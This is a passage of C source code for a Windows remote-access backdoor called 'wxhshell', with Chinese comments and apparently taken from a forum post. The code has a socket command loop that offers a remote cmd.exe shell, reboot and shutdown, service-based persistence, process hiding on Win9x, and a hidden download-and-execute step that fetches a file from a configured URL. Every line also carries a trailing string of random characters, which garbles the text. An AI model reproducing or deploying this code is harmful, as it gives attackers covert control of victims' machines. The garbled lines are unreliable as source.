  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oNEU?+  
  } em W#ZX  
  else { };KmMpBn  
S%T1na^x  
    switch(cmd[0]) { 4a646jg)  
  [%h^qJ  
  // 帮助 i$NnHj|  
  case '?': { jgO{DNe(=  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 67sb D<r  
    break; )1]C%)zn  
  } @rJ#Dr  
  // 安装 t)v#y!Ci"  
  case 'i': { sP&E{{<QTF  
    if(Install()) Z'fy9  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); zf S<X  
    else eVlI:yqppj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #Gg^fm  
    break; 'x18F#g  
    } #IXQ;2%E  
  // 卸载 \Lc]6?,R  
  case 'r': { HmiwpI  
    if(Uninstall()) :c.i Z  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); AV&eg e  
    else =AAH}  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); nv8,O=#s  
    break; +,KuYa{lu  
    } 0loC^\f  
  // 显示 wxhshell 所在路径 \m\.+q]  
  case 'p': { 1ii.nt1 u  
    char svExeFile[MAX_PATH]; L NE]#8ue  
    strcpy(svExeFile,"\n\r"); {&4qknPd%  
      strcat(svExeFile,ExeFile); $Z,+aLmb  
        send(wsh,svExeFile,strlen(svExeFile),0); mee-Qq:}  
    break; UU !I@  
    } ~/Ry=8   
  // 重启 +tA rH C]  
  case 'b': { 9wwvh'T&NK  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ,onv `  
    if(Boot(REBOOT)) ~KNxAxyVi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [[|;Wr} 2  
    else { =o-qu^T^u  
    closesocket(wsh); C1nQZtF R  
    ExitThread(0); ew0 )  
    } WFdS#XfV  
    break; \:#b9t{B-  
    } 8<G@s`*  
  // 关机 v0y7N_U5n  
  case 'd': { #" OKO6]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); nDo|^{!L`  
    if(Boot(SHUTDOWN)) <0vvlOL5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4 IHl'*D[#  
    else { Z*Y?"1ar  
    closesocket(wsh); 5eU/ [F9  
    ExitThread(0); dEL>Uly  
    } !Zwl9DX3  
    break; jBQQ?cA  
    } E }yxF .  
  // 获取shell f[v??^  
  case 's': { jc?Hip'  
    CmdShell(wsh); 4 I~,B[|  
    closesocket(wsh); f9 rToH  
    ExitThread(0); WU\):n  
    break; \\T I4A^#  
  } p 2i5/Ly  
  // 退出 n/6A@C  
  case 'x': { (=\P|iv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); C6Mb(&  
    CloseIt(wsh); mPu5%%  
    break;  {jl4`  
    } ^aC[Z P:  
  // 离开 fvx0]of  
  case 'q': { V&>7i9lEz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); b6i0_fOO  
    closesocket(wsh); }I;W  
    WSACleanup(); 0<)8 ?ow  
    exit(1); +X&B'  
    break; Ry(!< w,  
        } qd.b&i  
  } PM|K*,3J  
  } aR\=p:%jGI  
 ;js7rt  
  // 提示信息 }6KL   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 6xOR,p>E  
} `?$R_uFh:  
  } U8c0C/  
g5"g,SFGr  
  return; Z4e?zY  
} dYsqF 3f  
\i&yR]LF  
// shell模块句柄 yJr Pb"  
int CmdShell(SOCKET sock) $W2g2[+  
{ JrQN-e!  
STARTUPINFO si; g7H;d  
ZeroMemory(&si,sizeof(si)); Rl)/[T  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oYF8:PYB  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bZi>   
PROCESS_INFORMATION ProcessInfo; _S[H:b$?  
char cmdline[]="cmd"; (u*]&yk  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); rd"]$_P8O  
  return 0; I?PKc'b  
} GM%|mFqeu  
z#\Z|OKU  
// 自身启动模式 S38D cWIw  
int StartFromService(void) lH6t  d  
{ %mq]M  
typedef struct e*g; +nz  
{ igp4[Hj  
  DWORD ExitStatus; [W2p}4(  
  DWORD PebBaseAddress; @#V{@@3$  
  DWORD AffinityMask; o#T,vu0s  
  DWORD BasePriority; |9%>R*  
  ULONG UniqueProcessId; "[8](3\v  
  ULONG InheritedFromUniqueProcessId; $nVTN.k  
}   PROCESS_BASIC_INFORMATION; zso.?`85  
^qDkSoqC"  
PROCNTQSIP NtQueryInformationProcess; 55;xAsG  
_zOzHc?Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; dv,8iOL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; IlE! zRA  
p7k0pSt  
  HANDLE             hProcess; $0 l i"+  
  PROCESS_BASIC_INFORMATION pbi; [qy@g5`  
A>PM'$"sT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); *L^{p.K4  
  if(NULL == hInst ) return 0; YF;8il{p  
Ri,UHI4 W  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); CEUR-LK0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W w8[d  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7Ua Ll  
& .#0jb1r  
  if (!NtQueryInformationProcess) return 0; a@ lK+t  
2`lit@u&u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); hA"N&v~  
  if(!hProcess) return 0; o~}q@]]  
,:#prT[P"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; K.cNx  
+zlaYHj  
  CloseHandle(hProcess); :l6sESr  
6=&  wY  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); R=IeAuZR4k  
if(hProcess==NULL) return 0; w@"|S_E  
4Q]+tXes  
HMODULE hMod; "_(o% \"7  
char procName[255]; kL&^/([9  
unsigned long cbNeeded; v/^2K,[0>  
1 t#Tp$  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); @^P=jXi<  
Z^h4%o-l{  
  CloseHandle(hProcess); $zdJ\UX  
>g F  
if(strstr(procName,"services")) return 1; // 以服务启动 $EtZ5?qS  
P8TiB  
  return 0; // 注册表启动 Qn<< &i~  
} iWvgCm4  
H,uOshR  
// 主模块 O@ "6)/  
int StartWxhshell(LPSTR lpCmdLine) jeJGxfii  
{ O<+C$J|  
  SOCKET wsl; c XY!b=9  
BOOL val=TRUE; o30PI  
  int port=0; wPW9bu  
  struct sockaddr_in door; a. gu  
E]g KJVf9[  
  if(wscfg.ws_autoins) Install(); ,+q5e^P  
v& ? Bqj  
port=atoi(lpCmdLine); plp).Gq  
N),Zb^~nw  
if(port<=0) port=wscfg.ws_port; Z|j8:Ohz  
\V&ly/\ )  
  WSADATA data; L$jRg  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; +ivz  
ir\   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   bG5c~  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); .t["kaA  
  door.sin_family = AF_INET; Gd'^vqo<  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E2\)>YF{ P  
  door.sin_port = htons(port); x^SE>dy ?z  
mB!81%f%|  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { X/.|S57  
closesocket(wsl); u]oS91  
return 1; \F<]l6E  
} *D\nsJ*g  
|D^[]*cEH  
  if(listen(wsl,2) == INVALID_SOCKET) { Ak1f*HGl|  
closesocket(wsl); 1dKLNE  
return 1; `yxk Sb  
} ZLO _5#<  
  Wxhshell(wsl); BgE]xm  
  WSACleanup(); b?Vu9!  
Y@pa+~[{h3  
return 0; Ds-%\@p  
k|BEAdQ%M  
} U2K>\/-~  
I=b#tUBh8  
// 以NT服务方式启动 myXp]=Sb?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Maq{H`  
{ 9t)t-t#P;  
DWORD   status = 0; @4&sL](q  
  DWORD   specificError = 0xfffffff; .Oim7JQ8  
{UwJg  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s~TYzfA  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; KRz\ct|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i1scoxX3\  
  serviceStatus.dwWin32ExitCode     = 0; O,DA{> *m  
  serviceStatus.dwServiceSpecificExitCode = 0; M,<%j  
  serviceStatus.dwCheckPoint       = 0; *Fq Nzly  
  serviceStatus.dwWaitHint       = 0; yJgnw6>r2  
^91k@MC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); m6JIq}CMb  
  if (hServiceStatusHandle==0) return; z?cRsqf  
}]f)Fz  
status = GetLastError(); @ VJr0  
  if (status!=NO_ERROR) 0tl  
{ *ZY{^f  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3<Cd >o.  
    serviceStatus.dwCheckPoint       = 0; =b; v:HC  
    serviceStatus.dwWaitHint       = 0; c[Y7tj%y  
    serviceStatus.dwWin32ExitCode     = status; O[-wm;_(=*  
    serviceStatus.dwServiceSpecificExitCode = specificError; ZL@7Mr!e  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); )ll}hGS  
    return; R (hq Ba/V  
  } M>'-P  
} #$Y^ +UN  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; n2T vPt\  
  serviceStatus.dwCheckPoint       = 0; ^%C.S :  
  serviceStatus.dwWaitHint       = 0; []u!piW  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ,.E:mm  
} HeR-;L  
6g<JPc  
// 处理NT服务事件,比如:启动、停止 <Q%o}m4Kt  
VOID WINAPI NTServiceHandler(DWORD fdwControl) lM?P8#3  
{ Vg2s~ce{  
switch(fdwControl) ? Bk"3{hl  
{ /TpM#hkq/2  
case SERVICE_CONTROL_STOP: _~6AUwM  
  serviceStatus.dwWin32ExitCode = 0; in%+)`'nH7  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dp+wwNe  
  serviceStatus.dwCheckPoint   = 0; (z"Cwa@e  
  serviceStatus.dwWaitHint     = 0; >yT:eG  
  { =WN6Fj`  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [5:F  
  } CjIkRa@!x  
  return; Prr<:q  
case SERVICE_CONTROL_PAUSE: a-O9[?G/x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Q%@l`V)Rs  
  break; 8 v&5)0u  
case SERVICE_CONTROL_CONTINUE: 0xH$!?{b  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 5vY1 XZt{  
  break; U^Hymgb%  
case SERVICE_CONTROL_INTERROGATE: d<#Xqc  
  break; kigc+R  
}; Mc{1Cdj  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yzXwxi1#  
} l=kgRh  
eZf-i1lJ  
// 标准应用程序主函数 z07!i@ue~  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) RN!oflb  
{ 1{"e'[ L  
Lw-)ijBW  
// 获取操作系统版本 cC>.`1:  
OsIsNt=GetOsVer(); Km-lWreTH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jLcW;7OAC  
e}aD <E G  
  // 从命令行安装 QK//bV)  
  if(strpbrk(lpCmdLine,"iI")) Install(); R0{n0Br  
E7y<iaA{~  
  // 下载执行文件 [NJ!  
if(wscfg.ws_downexe) { +dR$;!WB3  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /k7`TUK  
  WinExec(wscfg.ws_filenam,SW_HIDE); %#"uK:(N  
} Pbz-I3+66  
?^k-)V  
if(!OsIsNt) { T w/CJg  
// 如果时win9x,隐藏进程并且设置为注册表启动 nuXaZRH  
HideProc(); !+CRS9\D   
StartWxhshell(lpCmdLine); Qx$Yj  
} #&&^5r-b-  
else Z@j0J[s  
  if(StartFromService()) 9e.n1  
  // 以服务方式启动 A2F+$N  
  StartServiceCtrlDispatcher(DispatchTable); (\M&/X~q  
else H.Pts>3r(  
  // 普通方式启动 KXYq|w  
  StartWxhshell(lpCmdLine); \@gs8K#  
!) LMn  
return 0; 5a-8/.}cP  
}
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只看该作者 1 发表于: 2006-10-10
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